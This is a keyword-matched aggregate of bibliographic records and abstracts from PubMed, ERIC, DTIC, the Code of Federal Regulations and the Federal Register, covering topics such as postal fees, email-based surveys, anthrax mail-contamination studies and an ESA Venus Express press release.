This paper develops a new ascending-price multi-unit auction protocol that has following characteristics: (i) it has an open format, (ii) sincere bidding is an equilibrium strategy even if the marginal utilities of each agent can increase and agents can submit false-name bids. False-name bids are bids submitted under fictitious names such as multiple e-mail addresses, which can be done easily in the Internet. This is the first protocol that has these two characteristics. We show that our new protocol outperforms an existing protocol, which satisfies (ii), with respect to the social surplus and the seller's revenue.

17 CFR Appendix A to Part 146 - Fees for Copies of Records Requested Under the Privacy Act of 1974

Code of Federal Regulations, 2010 CFR

2010-04-01

... by means of an overnight/express service at the fee of $10.00 per unit mailed. (5) The Commission may..., Commodity Futures Trading Commission, Three Lafayette Centre, 1155 21st Street, NW., Washington, DC 20581. c...

77 FR 66870 - Advisory Committee on Construction Safety and Health (ACCSH)

Federal Register 2010, 2011, 2012, 2013, 2014

2012-11-07

... Administration (OSHA), Labor. ACTION: Request for nominations for membership on ACCSH. SUMMARY: The Assistant Secretary of Labor for Occupational Safety and Health (OSHA Assistant Secretary) invites interested persons...) 693-1648; or Mail, express delivery, hand delivery, and messenger or courier service: Submit your...

Multigeneration Cross-Contamination of Mail with Bacillus anthracis Spores

PubMed Central

Edmonds, Jason; Lindquist, H. D. Alan; Sabol, Jonathan; Martinez, Kenneth; Shadomy, Sean; Cymet, Tyler; Emanuel, Peter

2016-01-01

The release of biological agents, including those which could be used in biowarfare or bioterrorism in large urban areas, has been a concern for governments for nearly three decades. Previous incidents from Sverdlosk and the postal anthrax attack of 2001 have raised questions on the mechanism of spread of Bacillus anthracis spores as an aerosol or contaminant. Prior studies have demonstrated that Bacillus atrophaeus is easily transferred through simulated mail handing, but no reports have demonstrated this ability with Bacillus anthracis spores, which have morphological differences that may affect adhesion properties between spore and formite. In this study, equipment developed to simulate interactions across three generations of envelopes subjected to tumbling and mixing was used to evaluate the potential for cross-contamination of B. anthracis spores in simulated mail handling. In these experiments, we found that the potential for cross-contamination through letter tumbling from one generation to the next varied between generations while the presence of a fluidizer had no statistical impact on the transfer of material. Likewise, the presence or absence of a fluidizer had no statistically significant impact on cross-contamination levels or reaerosolization from letter opening. PMID:27123934

Pediatric automotive restraints, pediatricians, and the academy.

PubMed

Lieberman, H M; Emmet, W L; Coulson, A H

1976-09-01

Over 70% of the 192 Southern California Academy pediatricians responding to a survey teach parents about pediatric automotive safety devices but less than 3% do so on every visit. To test two methods of increasing the frequency of teaching, these pediatricians were randomly assigned to either a mailing from the Academy's local chapter (mail group) or a brief presentation by a local pharmaceutical representative at his regular visit (interview group); a follow-up was conducted one month later by mail. Sixty-one percent of the mail group and 49% of the interview group claimed that their teaching on this subject had increased since the original contact. While this difference did not reach statistical significance, it was in the same direction as the preferences for sources of pediatric information expressed by both groups of pediatricians. A special letter from the Academy was ranked most effective and a visit from the pharmaceutical representative was judged least effective. Because of the magnitude of the problem, availability of a solution, proof that pediatricians can influence health behavior related to children and acknowledgment of the Academy's role in pediatric education, an appeal is made for an all-out campaign by the Academy and its members to promote use of appropriate pediatric automotive safety devices.

76 FR 53981 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2011-08-30

... Parcel Post (Air CP), Surface Parcel Post (Surface CP) and Express Mail Service (EMS) in the United States is functionally equivalent to the agreement to deliver inbound Air CP, Surface CP and EMS in the... competitive services in the China Post 2011 Agreement include rates for Air CP, Surface CP, and EMS, requires...

77 FR 29579 - Removing Unnecessary Office on Violence Against Women Regulations

Federal Register 2010, 2011, 2012, 2013, 2014

2012-05-18

... Office on Violence Against Women Regulations AGENCY: Office on Violence Against Women, Justice. ACTION: Proposed rule. SUMMARY: This rule proposes to remove the regulations for the STOP Violence Against Indian... through regular or express mail, they should be sent to Kathi Grasso, Office on Violence Against Women...

33 CFR 20.304 - Service of documents.

Code of Federal Regulations, 2010 CFR

2010-07-01

... other filed document (i) Mail.(ii) Personal delivery. (iii) Express-courier service. (iv) Fax. (v) Other... representative. Is not represented The last known address of the residence or principal place of business of the...) Delivered to the person's office during business hours. (iii) Delivered to the person's residence and...

78 FR 79024 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-27

... Mail Express Contract 11 by the most recent cell by cell increases/decreases in prices of general... modifies the annual adjustment of Table B, by adjusting the prices by the most recent cell by cell... No. CP2011-50 for consideration of matters raised by the Postal Service's Notice. 2. Lawrence Fenster...

22 CFR 303.13 - Fees.

Code of Federal Regulations, 2014 CFR

2014-04-01

... 22 Foreign Relations 2 2014-04-01 2014-04-01 false Fees. 303.13 Section 303.13 Foreign Relations PEACE CORPS PROCEDURES FOR DISCLOSURE OF INFORMATION UNDER THE FREEDOM OF INFORMATION ACT § 303.13 Fees...) Special delivery or express mail: Actual charges as incurred. (f) Fee waivers: Fees will be waived or...

22 CFR 303.13 - Fees.

Code of Federal Regulations, 2011 CFR

2011-04-01

... 22 Foreign Relations 2 2011-04-01 2009-04-01 true Fees. 303.13 Section 303.13 Foreign Relations PEACE CORPS PROCEDURES FOR DISCLOSURE OF INFORMATION UNDER THE FREEDOM OF INFORMATION ACT § 303.13 Fees...) Special delivery or express mail: Actual charges as incurred. (f) Fee waivers: Fees will be waived or...

The Blurring of the English Language.

ERIC Educational Resources Information Center

Fish, James S.

1987-01-01

While the appreciation for plain English is taking hold, some areas of business writing still need attention. Jargon is a problem, as well as euphemisms and the growing density of expression that have softened the language. Mail-order catalogs work well as a training ground for compressed, effective persuasive writing. (Author/CH)

Portrait of a Digital Native: Are Digital-Age Students Fundamentally Different from the Rest of Us?

ERIC Educational Resources Information Center

McHale, Tom

2005-01-01

Meredith Fear sits in her room doing her homework. Books are scattered about, and a computer monitor glows before her. She is working on two Word documents and has four Web sites open. She checks her school e-mail account, her Bloglines news aggregator, and Furls of an online article for her independent study. She quickly transitions from this to…

STS-49 MS Thuot, in LES, at CCT side hatch during JSC's egress exercises

NASA Technical Reports Server (NTRS)

1992-01-01

STS-49 Endeavour, Orbiter Vehicle (OV) 105, Mission Specialist (MS) Pierre J. Thuot, wearing launch and entry suit (LES), prepares to enter JSC's Crew Compartment Trainer (CCT) via the open side hatch as a technician looks on. Thuot along with the other STS-49 crewmembers is participating in a post-landing emergency egress exercise in JSC's Mockup and Integration Laboratory (MAIL) Bldg 9.

Harmonizing the Interests of Free Speech, Obscenity and Child Pornography on Cyberspace: The New Roles of Parents, Technology and Legislation for Internet Safety

ERIC Educational Resources Information Center

Olagunju, Amos O.

2008-01-01

Incorrect access to Web site addresses and spam e-mails are continuing to make pornography rampant on the Internet at schools, homes and libraries. Collectively, parents, teachers and members of communities must become more aware of the risks and consequences of open access to the Internet, and the distinction between censorship and Internet…

Risk Assessment of Anthrax Threat Letters

DTIC Science & Technology

2001-09-01

extent of the hazard. In the experiments, envelopes containing Bacillus globigii spores (a simulant for anthrax) were opened in a mock mail room/office...des spores de Bacillus globigii (une bactérie imitant l’agent de l’anthrax) ont été ouvertes dans un endroit simulant une salle de courrier ou un...provide guidance to first responders and other government departments. In this study (non-pathogenic) Bacillus globigii (BG) spore contaminated

Specific PET Imaging Probes for Early Detection of Prostate Cancer Metastases

DTIC Science & Technology

2011-05-01

K. S. (2005) 67-kDa laminin receptor promotes internalization of cytotoxic necrotizing factor 1-expressing Escherichia coli K1 into human brain...Chung JW, Kim KS (2005) 67-kDa laminin receptor promotes internalization of cytotoxic necrotizing factor 1-expressing Esch- erichia coli K1 into human...SUBTITLE 5a. CONTRACT NUMBER 5b. GRANT NUMBER 5c. PROGRAM ELEMENT NUMBER 6. AUTHOR(S) 5d. PROJECT NUMBER 5e. TASK NUMBER E -Mail: 5f

[How do residents in urology evaluate their daily routine at work-a survey analysis].

PubMed

Necknig, U; Borowitz, R; Wöhr, M; Leyh, H; Weckermann, D

2018-05-28

The changing conditions in German hospitals is causing a shortage of young people. In order to identify starting point for improvements, the Bavarian association of urologists in collaboration with the German Society of Residents in Urology (GeSRU) conducted an online survey among residents in urology in summer of 2017. A standardised survey composed of 38 questions was distributed to participants through a mailing list of the GeSRU. Most questions were closed-ended; however, some did allow participants to respond by means of an open-ended answer. A total of 218 participants provided a total of 11,764 responses: 58% were female and 42% were male. Over 70% were aged between 31 and 35 years. In all, 29% of participants responded negatively to the question asking whether they feel like their medical studies at university prepared them well for the daily routine in their workplace. Participants particularly demanded a higher degree of practical experience during their studies, as well as more teaching of soft skills. In relation to choosing their specialisation, participants considered the intern year and their clinical traineeships as crucial factors. Participants did express appreciation of their field of specialization in relation to the broad range of available treatments, the opportunity of further specialising, the clientele of patients, the opportunity of working in a small team, innovations, and the high possibilities of opening their own medical practice. On a personal level, participants specifically wished for a more structured plan relating to their further internship, involving regular meetings. They also expressed the wish for more personalised career plans, more flexible work hours, and improved advanced training, both internally and externally. With the aim of making urology even more attractive, participants' wishes and suggestions should be taken into consideration. These, in general, involve a more structured training plan, better working conditions with part-time programmes, and improved surrounding conditions at the workplace, in particular for families.

How Cancer Survivors Provide Support on Cancer-Related Internet Mailing Lists

PubMed Central

Lyons, Elizabeth J; Frydman, Gilles; Forlenza, Michael; Rimer, Barbara K

2007-01-01

Background Internet mailing lists are an important and increasingly common way for cancer survivors to find information and support. Most studies of these mailing lists have investigated lists dedicated to one type of cancer, most often breast cancer. Little is known about whether the lessons learned from experiences with breast cancer lists apply to other cancers. Objectives The aim of the study was to compare the structural characteristics of 10 Internet cancer-related mailing lists and identify the processes by which cancer survivors provide support. Methods We studied a systematic 9% sample of email messages sent over five months to 10 cancer mailing lists hosted by the Association of Cancer Online Resources (ACOR). Content analyses were used to compare the structural characteristics of the lists, including participation rates and members’ identities as survivors or caregivers. We used thematic analyses to examine the types of support that list members provided through their message texts. Results Content analyses showed that characteristics of list members and subscriber participation rates varied across the lists. Thematic analyses revealed very little “off topic” discussion. Feedback from listowners indicated that they actively modeled appropriate communication on their lists and worked to keep discussions civil and focused. In all lists, members offered support much more frequently than they requested it; survivors were somewhat more likely than caregivers to offer rather than to ask for support. The most common topics in survivors’ messages were about treatment information and how to communicate with health care providers. Although expressions of emotional support were less common than informational support, they appeared in all lists. Many messages that contained narratives of illness or treatment did not specifically ask for help but provided emotional support by reassuring listmates that they were not alone in their struggles with cancer. Survivors’ explicit expressions of emotional support tended to be messages that encouraged active coping. Such messages also provided senders with opportunities to assume personally empowering “helper” roles that supported self-esteem. Conclusions Many cancer survivors use the Internet to seek informational and emotional support. Across 10 lists for different cancers, informational support was the main communication style. Our finding of an emphasis on informational support is in contrast to most prior literature, which has focused on emotional support. We found the most common expressions of support were offers of technical information and explicit advice about how to communicate with health care providers. Topics and proportions of informational and emotional support differed across the lists. Our previous surveys of ACOR subscribers showed that they join the lists primarily to seek information; this qualitative study shows that they can and do find what they seek. They also find opportunities to play rewarding roles as support givers. PMID:17513283

Cross-sectional survey on lobectomy approach (X-SOLA).

PubMed

Cao, Christopher; Tian, David H; Wolak, Kevin; Oparka, Jonathan; He, Jianxing; Dunning, Joel; Walker, William S; Yan, Tristan D

2014-08-01

Lobectomy for non-small cell lung cancer (NSCLC) can be performed either through open thoracotomy or video-assisted thoracoscopic surgery (VATS). To improve the understanding of current attitudes of the thoracic community toward VATS lobectomy, the Collaborative Research Group conducted the Cross-sectional Survey on Lobectomy Approach (X-SOLA) study. We surveyed a large cohort of lobectomy-performing thoracic surgeons to examine their adoption of VATS lobectomy and their opinions of this technique vs conventional open thoracotomy. Participants included thoracic surgeons identified through an international index search from the Web of Science and the cardiothoracic surgery network. A confidential questionnaire was e-mailed in June 2012. Nonresponders were given two reminder e-mails at monthly intervals. The questionnaire, completed by 838 thoracic surgeons within a 3-month period, identified 416 surgeons who only performed lobectomy through open thoracotomy and 422 surgeons who performed VATS or robotic VATS. Of those who performed VATS, 95% agreed with the definition of "true" VATS lobectomy according to the Cancer and Leukemia Group B trial. Ninety-two percent of surgeons who did not perform VATS lobectomy responded that they were willing to learn this technique, but were hindered by limited resources, exposure, and mentoring. Both groups agreed there was a need for VATS lobectomy training in thoracic residency programs and in standardized workshops. X-SOLA represents the largest cross-sectional report within the thoracic community to date, demonstrating the penetration of VATS lobectomy for NSCLC internationally. From our study, we were able to identify a number of obstacles to broaden the adoption of this minimally invasive technique.

An evaluation of emergency medicine investigators' views on open access to medical literature.

PubMed

Rodriguez, R M; Wong, J; Hardy, J; Frankel, E

2006-12-01

Scientists and governmental agencies have called for free universal access to research publications via the internet--open access. To examine the current medical literature reading practices of emergency medicine investigators (EMIs) and their views towards open access. Surveys were mailed to the 212 corresponding authors of all original research articles published in years 2002 and 2003 in the Annals of Emergency Medicine, Academic Emergency Medicine and The Journal of Emergency Medicine. The most commonly read forms of medical literature reported by the 129 (61%) EMI respondents were hard-copy medical journals and online literature review services. 59% of EMIs were in favour of open access; 58% stated they would read a wider variety of medical literature; 21% believed open access would improve the quality of publications and 39% thought it would decrease the quality. When asked how a US 1500 dollars fee for open access would affect their ability to publish research, 69% said it would greatly impede and 19% said it would slightly impede their research. Despite concerns that open access may impede their ability to publish research and decrease the quality of publications, most EMIs surveyed favoured open access. They believed open access would increase and broaden their medical literature reading.

Predatory Publishing, Questionable Peer Review, and Fraudulent Conferences

PubMed Central

2014-01-01

Open-access is a model for publishing scholarly, peer-reviewed journals on the Internet that relies on sources of funding other than subscription fees. Some publishers and editors have exploited the author-pays model of open-access, publishing for their own profit. Submissions are encouraged through widely distributed e-mails on behalf of a growing number of journals that may accept many or all submissions and subject them to little, if any, peer review or editorial oversight. Bogus conference invitations are distributed in a similar fashion. The results of these less than ethical practices might include loss of faculty member time and money, inappropriate article inclusions in curriculum vitae, and costs to the college or funding source. PMID:25657363

10 CFR 820.6 - Computation and extension of time.

Code of Federal Regulations, 2011 CFR

2011-01-01

... otherwise provided, the day of the event from which the designated period begins to run shall not be... added to the time allowed by these rules for the filing of a responsive pleading or document. Where a pleading or document is served by express mail, only two (2) days shall be added. ...

10 CFR 820.6 - Computation and extension of time.

Code of Federal Regulations, 2013 CFR

2013-01-01

... otherwise provided, the day of the event from which the designated period begins to run shall not be... added to the time allowed by these rules for the filing of a responsive pleading or document. Where a pleading or document is served by express mail, only two (2) days shall be added. ...

10 CFR 820.6 - Computation and extension of time.

Code of Federal Regulations, 2014 CFR

2014-01-01

... otherwise provided, the day of the event from which the designated period begins to run shall not be... added to the time allowed by these rules for the filing of a responsive pleading or document. Where a pleading or document is served by express mail, only two (2) days shall be added. ...

10 CFR 820.6 - Computation and extension of time.

Code of Federal Regulations, 2012 CFR

2012-01-01

... otherwise provided, the day of the event from which the designated period begins to run shall not be... added to the time allowed by these rules for the filing of a responsive pleading or document. Where a pleading or document is served by express mail, only two (2) days shall be added. ...

10 CFR 820.6 - Computation and extension of time.

Code of Federal Regulations, 2010 CFR

2010-01-01

... otherwise provided, the day of the event from which the designated period begins to run shall not be... added to the time allowed by these rules for the filing of a responsive pleading or document. Where a pleading or document is served by express mail, only two (2) days shall be added. ...

75 FR 3476 - Designation of Haiti for Temporary Protected Status

Federal Register 2010, 2011, 2012, 2013, 2014

2010-01-21

... Express mail and courier deliveries: USCIS, Attn: Haiti TPS, 2501 S. State Hwy. 121 Business, Suite 400... DEPARTMENT OF HOMELAND SECURITY U.S. Citizenship and Immigration Services [CIS No. 2491-10; DHS..., the Secretary is authorized to designate a foreign state for TPS or parts of such state upon finding...

75 FR 52035 - Grantee Quarterly Progress Report; Extension of the Office of Management and Budget's (OMB...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-08-24

..., hand delivery, express mail, messenger, or courier service: When using this method, you must submit... training, inform them of the importance and proper use of safety and health equipment, and train employers... DEPARTMENT OF LABOR Occupational Safety and Health Administration [Docket No. OSHA-2010-0021...

Near-Surface Monsoonal Circulation of the Vietnam East Sea from Lagrangian Drifters

DTIC Science & Technology

2015-09-30

Sea from Lagrangian Drifters Luca Centurioni Scripps Institution of Oceanography 9500 Gilman Drive Mail Code 0213 La Jolla, California 92103...Contribute to the study of coastal and open ocean current systems in sparsely sampled regions such us the South China Sea (SCS), using a Lagrangian ...We intend to make new Lagrangian and Eulerian observations to measure the seasonal circulation 1) in the coastal waters of Vietnam and 2) in the SCS

Identification of the Changing Educational Needs of Midwives in Developing New Dimensions of Care in a Variety of Settings and the Development of an Educational Package To Meet These Needs.

ERIC Educational Resources Information Center

Pope, Rosemary; And Others

The changing educational needs of midwives in England were assessed, and an open learning package for midwives was developed based on the findings. Data were collected from the following: questionnaires mailed to 1,100 registered midwives (70% response rate), all 205 coordinating supervisors of midwives in England (83% response rate); 1 randomly…

What is the main driver of ageing in long-lived winter honeybees: antioxidant enzymes, innate immunity, or vitellogenin?

PubMed

Aurori, Cristian M; Buttstedt, Anja; Dezmirean, Daniel S; Mărghitaş, Liviu A; Moritz, Robin F A; Erler, Silvio

2014-06-01

To date five different theories compete in explaining the biological mechanisms of senescence or ageing in invertebrates. Physiological, genetical, and environmental mechanisms form the image of ageing in individuals and groups. Social insects, especially the honeybee Apis mellifera, present exceptional model systems to study developmentally related ageing. The extremely high phenotypic plasticity for life expectancy resulting from the female caste system provides a most useful system to study open questions with respect to ageing. Here, we used long-lived winter worker honeybees and measured transcriptional changes of 14 antioxidative enzyme, immunity, and ageing-related (insulin/insulin-like growth factor signaling pathway) genes at two time points during hibernation. Additionally, worker bees were challenged with a bacterial infection to test ageing- and infection-associated immunity changes. Gene expression levels for each group of target genes revealed that ageing had a much higher impact than the bacterial challenge, notably for immunity-related genes. Antimicrobial peptide and antioxidative enzyme genes were significantly upregulated in aged worker honeybees independent of bacterial infections. The known ageing markers vitellogenin and IlP-1 were opposed regulated with decreasing vitellogenin levels during ageing. The increased antioxidative enzyme and antimicrobial peptide gene expression may contribute to a retardation of senescence in long-lived hibernating worker honeybees. © The Author 2013. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

PD-L1 Overexpression During Endotoxin Tolerance Impairs the Adaptive Immune Response in Septic Patients via HIF1α.

PubMed

Avendaño-Ortiz, José; Maroun-Eid, Charbel; Martín-Quirós, Alejandro; Toledano, Víctor; Cubillos-Zapata, Carolina; Gómez-Campelo, Paloma; Varela-Serrano, Aníbal; Casas-Martin, Jose; Llanos-González, Emilio; Alvarez, Enrique; García-Río, Francisco; Aguirre, Luis A; Hernández-Jiménez, Enrique; López-Collazo, Eduardo

2018-01-17

Sepsis, among other pathologies, is an endotoxin tolerance (ET)-related disease. On admission, we classified 48 patients with sepsis into 3 subgroups according to the ex vivo response to lipopolysaccharide. This response correlates with the Acute Physiology and Chronic Health Evaluation (APACHE) II score and the ET degree. Moreover, the ET-related classification determines the outcome of these patients. Programmed cell death-ligand 1 (PD-L1) expression on septic monocytes is also linked with ET status. In addition to the regulation of cytokine production, one of the hallmarks of ET that significantly affects patients with sepsis is T-cell proliferation impairment or a poor switch to the adaptive response. PD-L1/programmed cell death-1 (PD-1) blocking and knockdown assays on tolerant monocytes from both patients with sepsis and the in vitro model reverted the impaired adaptive response. Mechanistically, the transcription factor hypoxia-inducible factor-1α (HIF1α) has been translocated into the nucleus and drives PD-L1 expression during ET in human monocytes. This fact, together with patient classification according to the ex vivo lipopolysaccharide response, opens an interesting field of study and potential personalized clinical applications, not only for sepsis but also for all ET-associated pathologies. © The Author(s) 2017. Published by Oxford University Press for the Infectious Diseases Society of America. All rights reserved. For permissions, e-mail: journals.permissions@oup.com.

E-mail as the Appropriate Method of Communication for the Decision-Maker When Soliciting Advice for an Intellective Decision Task.

PubMed

Prahl, Andrew; Dexter, Franklin; Swol, Lyn Van; Braun, Michael T; Epstein, Richard H

2015-09-01

For many problems in operating room and anesthesia group management, there are tasks with optimal decisions, and yet experienced personnel tend to make decisions that are worse or no better than random chance. Such decisions include staff scheduling, case scheduling, moving cases among operating rooms, and choosing patient arrival times. In such settings, operating room management leadership decision-making should typically be autocratic rather than participative. Autocratic-style decision-making calls for managers to solicit and consider feedback from stakeholders in the decision outcome but to make the decision themselves using their expert knowledge and the facts received. For this to be effective, often the manager will obtain expert advice from outside the organization (e.g., health system). In this narrative review, we evaluate the advantages and disadvantages of using prompt asynchronous written communication (i.e., e-mail) as a communication channel for such interaction between a decision-maker (manager) and advisor. A detailed Appendix (Supplemental Digital Content, http://links.lww.com/AA/B72) lists each observational and experimental result. We find that the current ubiquitous role of e-mail for such communication is appropriate. Its benefits include improved time management via asynchronicity, low cognitive load (e.g., relative to Web conferencing), the ability to hide undesirable and irrelevant cues (e.g., physical appearance), the appropriateness of adding desirable cues (e.g., titles and degrees), the opportunity to provide written expression of confidence, and the ability for the advisor to demonstrate the answer for the decision-maker. Given that the manager is e-mailing an advisor whose competence the manager trusts, it is unnecessary to use a richer communication channel to develop trust. Finally, many of the limitations of e-mail can be rectified through training. We expect that decades from now, e-mail (i.e., asynchronous writing) between an expert and decision-maker will remain the dominant means of communication for intellective tasks.

Venus within ESA probe reach

NASA Astrophysics Data System (ADS)

2006-03-01

Venus Express mission controllers at the ESA Space Operations Centre (ESOC) in Darmstadt, Germany are making intensive preparations for orbit insertion. This comprises a series of telecommands, engine burns and manoeuvres designed to slow the spacecraft down from a velocity of 29000 km per hour relative to Venus, just before the first burn, to an entry velocity some 15% slower, allowing the probe to be captured into orbit around the planet. The spacecraft will have to ignite its main engine for 50 minutes in order to achieve deceleration and place itself into a highly elliptical orbit around the planet. Most of its 570 kg of onboard propellant will be used for this manoeuvre. The spacecraft’s solar arrays will be positioned so as to reduce the possibility of excessive mechanical load during engine ignition. Over the subsequent days, a series of additional burns will be done to lower the orbit apocentre and to control the pericentre. The aim is to end up in a 24-hour orbit around Venus early in May. The Venus orbit injection operations can be followed live at ESA establishments, with ESOC acting as focal point of interest (see attached programme). In all establishments, ESA specialists will be on hand for interviews. ESA TV will cover this event live from ESOC in Darmstadt. The live transmission will be carried free-to-air. For broadcasters, complete details of the various satellite feeds are listed at http://television.esa.int. The event will be covered on the web at venus.esa.int. The website will feature regular updates, including video coverage of the press conference and podcast from the control room at ESA’s Operations Centre. Media representatives wishing to follow the event at one of the ESA establishments listed below are requested to fill in the attached registration form and fax it back to the place of their choice. For further information, please contact: ESA Media Relations Division Tel : +33(0)1.53.69.7155 Fax: +33(0)1.53.69.7690 Venus Express Orbit Insertion - Tuesday 11 April 2006 ESA/ESOC, Robert Bosch Strasse, 5 - Darmstadt (Germany) PROGRAMME 07:30 - Doors open 08:45 - Start of local event, welcome addresses 09:10 - ESA TV live from Mission Control Room (MCR) starts 09:17 - Engine burn sequence starts 09:45 - Occultation of spacecraft by Venus starts 09:55 - Occultation ends 10:07 - Main engine burn ends 10:20 - Address by Jean-Jacques Dordain, ESA’s Director General, and other officials Break and buffet Interview opportunities 11:30-12:15 - Press Conference Jean-Jacques Dordain, Director General, ESA Prof. David Southwood, Director of Science, ESA Gaele Winters, Director of Operations and Infrastructure, ESA Manfred Warhaut, Flight Operations Director, ESA Håkan Svedhem, Venus Express Project Scientist, ESA Don McCoy, Venus Express Project Manager, ESA 13:15 - End of event at ESOC ACCREDITATION REQUEST FORM Venus Express Orbit Insertion - ESA/ESOC Darmstadt - 11 April 2006 First name:___________________ Surname:_____________________ Media:______________________________________________________ Address: ___________________________________________________ ____________________________________________________________ Tel:_______________________ Fax: ___________________________ Mobile :___________________ E-mail: ________________________ I will be attending the Venus Express Orbit Insertion event at the following site: [ ] Germany Location: ESA/ESOC Address: Robert Bosch Strasse 5, Darmstadt, Germany Opening hours: 07:30 - 13:00 Contact: Jocelyne Landeau-Constantin, Tel: +49.6151.902.696 - Fax: +49.6151.902.961 [ ] France Location: ESA HQ Address: 8/10, rue Mario Nikis - Paris 15, France Opening hours: 08:00 - 13:00 Contact: Anne-Marie Remondin - Tel: +33(0)1.53.69.7155 - fax: +33(0)1.53.69.7690 [ ] The Netherlands Location: Newton Room, ESA/ESTEC Address: Keplerlaan 1, Noordwijk, The Netherlands Opening hours: 08:30 - 12:30 Contact: Michel van Baal, tel. + 31 71 565 3006, fax + 31 71 565 5728 [ ] Italy Location: ESA/ESRIN Address: Via Galileo Galilei, Frascati (Rome), Italy Opening hours: 07:00 - 14:00 Contact: Franca Morgia - Tel: +39.06.9418.0951 - Fax: +39.06.9418.0952 [ ] Spain Location: ESA/ESAC Address: Urbanización Villafranca del Castillo, Villanueva de la Cañada, Madrid, Spain Opening hours: 8:30 - 13:30 Contact: Monica Oerke, Tel + 34 91 813 13 27/59 - Fax: + 34 91 813 12 19

Age, extraction rate and jaw surgery rate in Korean orthodontic clinics and small dental hospitals

PubMed Central

2012-01-01

Objective This study aimed to investigate the current data regarding age, sex, and Angle Classification of Korean orthodontic patients and influence of these factors on the tendency to undergo extraction and orthognathic surgery. Methods The recent trends of Korean orthodontic patients were assessed using questionnaire survey. The questionnaires were e-mailed to orthodontists who met the study criteria; 58% of the orthodontists opened the e-mails, and 27.7% replied to the e-mails. In all, the medical records of 11,340 patients who underwent orthodontic treatment at private clinics and small dental hospitals in Korea were analyzed. Results The percentage of female patients in the study sample was 69.6%, and the average age of the patients was 19.87 years. The percentage of patients who were older than 19 years was 50.2%. Class II and Class III malocclusions were noted in 33.6% and 23.6% of patients, respectively. Extraction and orthognathic surgery were performed in 60.4% and 6.9% of patients, respectively. Conclusions The results showed that there were a high percentage of adult, Class II malocclusion and extraction patients in private practices and small dental hospitals during the study period. Further, a relatively high proportion of adult patients opted to undergo orthognathic surgery. PMID:23112936

Relationships of linguistic and motivation variables with drinking outcomes following two mailed brief interventions.

PubMed

Collins, Susan E; Carey, Kate B; Smyth, Joshua

2005-07-01

This study was a post hoc analysis of linguistic and motivation variables found in writing samples following the administration of two mailed brief interventions. At-risk college drinkers (N = 100) received personalized normative feedback (PNF) or an alcohol education (AE) brochure via mail. Participants responded to open-ended questions describing their reactions to the information they received. The writing samples were then coded for linguistic characteristics using the Linguistic Inquiry and Word Count program and for proportions of self-motivational statements using a modified version of the Motivational Interviewing Skills Code. Group comparisons indicated that the PNF group used a significantly higher percentage of first-person-singular and school-related words, whereas the AE group used a higher percentage of discrepancy, second-person and body-related words. Furthermore, the PNF group produced more language consistent with motivation to change than did the AE group. Hierarchical regressions testing mediation and moderation indicated that linguistic references to school and motivation moderated the group effect on changes in consumption during the heaviest drinking week. Further, although the group predicted reduction in heavy, episodic drinking, its effect was completely mediated by linguistic variables. Findings confirmed that PNF elicits distinct verbal responses that are associated with increased motivation and behavior change.

ProMED-mail: 22 years of digital surveillance of emerging infectious diseases.

PubMed

Carrion, Malwina; Madoff, Lawrence C

2017-05-01

ProMED-mail (ProMED) was launched in 1994 as an email service to identify unusual health events related to emerging and re-emerging infectious diseases and toxins affecting humans, animals and plants. It is used daily by public health leaders, government officials at all levels, physicians, veterinarians and other healthcare workers, researchers, private companies, journalists and the general public. Reports are produced and commentary provided by a global team of subject matter experts in a variety of fields including virology, parasitology, epidemiology, entomology, veterinary and plant disease specialists. ProMED operates 24 hours a day, 7 days a week and has over 83 000 subscribers, representing every country in the world. Additionally, ProMED disseminates information via its website and through social media channels such as Twitter and Facebook as well as through RSS feeds. Over the last 22 years, it has been the first to report on numerous major and minor disease outbreaks including SARS, MERS, Ebola and the early spread of Zika. ProMED is transparent, apolitical, open to all and free of charge, making it an important and longstanding contributor to global health surveillance. © The Author 2017. Published by Oxford University Press on behalf of Royal Society of Tropical Medicine and Hygiene. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

E-mail management of the modified Atkins Diet for adults with epilepsy is feasible and effective.

PubMed

Cervenka, Mackenzie C; Terao, Natalie N; Bosarge, Jennifer L; Henry, Bobbie J; Klees, Angela A; Morrison, Peter F; Kossoff, Eric H

2012-04-01

The modified Atkins Diet (MAD) is an effective dietary treatment for children with epilepsy. However, adults may have limited access to this therapy because of lack of availability of dietitian or nutrition support or familiarity with the diet by their treating neurologist. This study was designed to investigate the tolerability and efficacy of the MAD administered solely via e-mail to adults with pharmacoresistant epilepsy. A prospective, open-label, proof-of-principle 3-month study design was employed. Adults were enrolled, instructed on how to self-administer a 20 g carbohydrate per day MAD, and followed by the investigators only via e-mail. There were no clinic visits or dietitian contacts during the study period. Twenty-five participants (median age 30 years [range 18-66 years], 68% female) consented and 22 started the MAD. The median prior anticonvulsants was 5 (range 2-10) and seizure frequency was 5 per week (range 1-140). Urinary ketosis was achieved in 21 participants (95%), of which 16 (76%) reported at least 40 mg/dl (moderate). Twenty-one participants (95%) remained on the MAD at 1 month and 14 (64%) at 3 months. After 1 month, 9 (41%) had >50% seizure reduction including one (5%) with >90% seizure reduction using intent-to-treat analysis. After 3 months, 6 (27%) had >50% seizure reduction including 3 (14%) with >90% seizure reduction. The mean ketogenic ratio was 1.1:1 (fat:carbohydrates and protein) for those who provided a MAD food record at follow-up. Over the study period, the median number of e-mails sent by the participants was 6 (range 1-19). The most frequent side effect was weight loss. E-mail administration of the MAD to adults with refractory epilepsy appears to be feasible and effective. Therefore, when dietitian or physician support is limited for adult patients with epilepsy, remote access via telemedicine could provide an alternative. Wiley Periodicals, Inc. © 2012 International League Against Epilepsy.

Impact of alternative interventions on changes in generic dispensing rates.

PubMed

O'Malley, A James; Frank, Richard G; Kaddis, Atheer; Rothenberg, Barbara M; McNeil, Barbara J

2006-10-01

